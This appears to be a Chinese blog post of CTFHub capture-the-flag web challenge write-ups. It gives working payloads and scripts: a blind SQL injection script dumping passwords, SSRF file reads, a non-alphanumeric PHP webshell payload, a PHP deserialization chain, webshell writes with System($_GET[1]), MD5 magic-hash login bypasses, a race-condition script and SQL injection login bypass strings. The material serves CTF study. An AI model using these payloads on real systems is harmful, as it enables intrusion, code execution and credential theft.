CTFHUB历年真题练习

WebsiteManger

考点

布尔盲注、SSRF

尝试了一般登录方法没有反应。查看源码发现sql注入的利用点在图片上
在这里插入图片描述
盲注脚本

import string

from requests import *
allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://challenge-1993bf8242925716.sandbox.ctfhub.com:10800/image.php'

info = ''
for i in range(1,50):
    for s in allstr:
        payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
        resp = get(url=myurl+payload)
        if len(resp.text) > 4000:
             info += s
             print(info)

在这里插入图片描述
利用布尔盲注得到用户密码:7feaa258b32f2ddbc4f32a6aed6c5b37,用户名为:admin
登录进去:
在这里插入图片描述

ssrf猜测 flag在根目录下:file:///flag
在这里插入图片描述

hate_php

在这里插入图片描述
阅读源码发现过滤掉了f l a g . p h / ; " ’ ` | [ ] _ =这些字符,并且还有一些黑名单函数。这让我联想到了P神的一篇文章无数字、字母构造webshell (https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)

下面就是要通过该方法构造一些黑名单之外的函数来读取flag.php中的内容。
这边好像过滤的不怎么严格直接构造 highlight_file(flag.php)即可读到flag
在这里插入图片描述

?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~(%99%93%9E%98%D1%8F%97%8F))

random

在这里插入图片描述
此题为随机验证下一个数字的值

import requests
import re

url = 'http://challenge-9d9782aa29d71d3a.sandbox.ctfhub.com:10800/index.php?num=22'
while True:
    try:
        r = requests.get(url)

        # 匹配平台flag格式
        flag = re.search(r'ctfhub\{.+\}', r.text).group()
    except AttributeError:
        print('未获取到flag! 正在重试!')
    else:
        print(flag)
        break

脚本解析:
无限循环提交请求,直到页面中存在以ctfhub{}格式的flag跳出循环。
在这里插入图片描述
也可手动刷新页面,直到出现flag。

逆转思维

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

Url传三个参数,text,file,pwd,分别进行匹配,所以payload将由三部分组成

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

读取变量$text并存储为字符串,与"welcome to the zjctf"进行匹配 “===” 要求三等号两边的值与类型都相等
使用data://数据流封装协议

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php

注释提示包含useless.php文件,利用php://filter协议读取这个useless.php

file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
base64解密得:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

useless.php文件中是一个flag类,题目中

 $password = unserialize($password);

所以我们只要让传入的$password值反序列化后的值等于flag.php即可。

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$a=new Flag();
$a->file='flag.php';
echo(serialize($a))  
?>  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

find_it

扫目录发现robots.txt
在这里插入图片描述
然后访问1ndexx.php发现是404,尝试扫缓存发现存在.1ndexx.php.swp
在这里插入图片描述

<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
  die("you die");
}
if(strlen($a)>33){
  die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

代码中首先读取了flag写入了hack.php,之后从GET中获取code参数的值,经过preg_match检查后写在后面,最大可写入长度为32字符

方法一:

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/?code=<?php show_source(__FILE__);?>

之后访问hack.php即可
在这里插入图片描述

方法二:
代码中preg_match并没有忽略大小写,而php函数是可以忽略大小写的,所以可以使用System()来绕过正则检查

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/?code=<?php System($_GET[1]);?>

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/hack.php?1=ls%20-alh%20%26%26%20cat%20flag.php

方法三:
传入的code会直接写入hack.php,但是有一些过滤,直接写入phpinfo()

/index.php?code=<?php phpinfo();?>

再访问hack.php

weakphp

在这里插入图片描述
得到index.php

<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

user和pass不相同而MD5却相等,验证了php弱类型的想法
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

以下值在md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

GET传入user=QNKCDZO&pass=240610708就能绕过了
在这里插入图片描述

Fast Running

在这里插入图片描述
这道题意思是你改完密码后登录要比系统自动更改密码快
这就是两个线程的竞争,贴上大佬脚本。

import requests
import threading

s = requests.session()


class MyThread(threading.Thread):
    def __init__(self, item):
        threading.Thread.__init__(self)
        self.item = item

    def run(self):
        main(self.item)


def main(args):
    if args == 1:
        while True:
            ur11 = 'http://challenge-eefd4aa63ef6559a.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456'
            c = s.get(ur11).content
    else:
        while True:
            url2 = 'http://challenge-eefd4aa63ef6559a.sandbox.ctfhub.com:10800/login_check.php?passwd=123456'
            # c11 = s.get(url2, data={' passwd': 111}).content
            c1 = s.get(url2)
            print(c1.text)


if __name__ == '__main__':
    t1 = MyThread(1)
    t2 = MyThread(2)
    t1.start()
    t2.start()

在这里插入图片描述

injection

在这里插入图片描述
可见一个GET传参,可能为SQL注入。sqlmap试一下
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Injection V2.0

在这里插入图片描述
拿到登录框,进行一些输入
admin 123456 -->密码错误
admin admin -->密码错误
ddddd 123456 -->用户不存在
既然会分开用户名和密码,那就是分开检验的

这里了解一下登录框的两种查询模式
1.一种是直接对用户输入的账号名和密码进行查询

$username=$_POST['username'];
$password=$_POST['password'];
$sql='select * from user where username='$username' and password='$password'';
#查询

2.第二种方法就是通过先查询用户名,如果用户存在之后验证密码是不是和数据库里面的密码一样。

$username=$_POST['username']; $password=$_POST['password']; $sql='select password from user where username='$username''; 
#查询 
if($row){ 
           if($row['password']==$password) { echo 'success';
           else{ echo 'fail';} 
} 
else{ 
echo '用户不存在'}

因为这个题能区分密码错误和用户名不存在两种情况,所以属于第二种逻辑。

过滤单词输入后会显示Hack!
过滤了order by / limit / and,union,select 后不能加东西 /
然后抓包发现是在空格处加上了’+'因此导致系统判断是Hack,尝试用注释符/**/可以避开空格并输入,因此尝试使用自己构造用户名密码绕过登录的办法

'/**/union/**/select/**/1'#
1

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值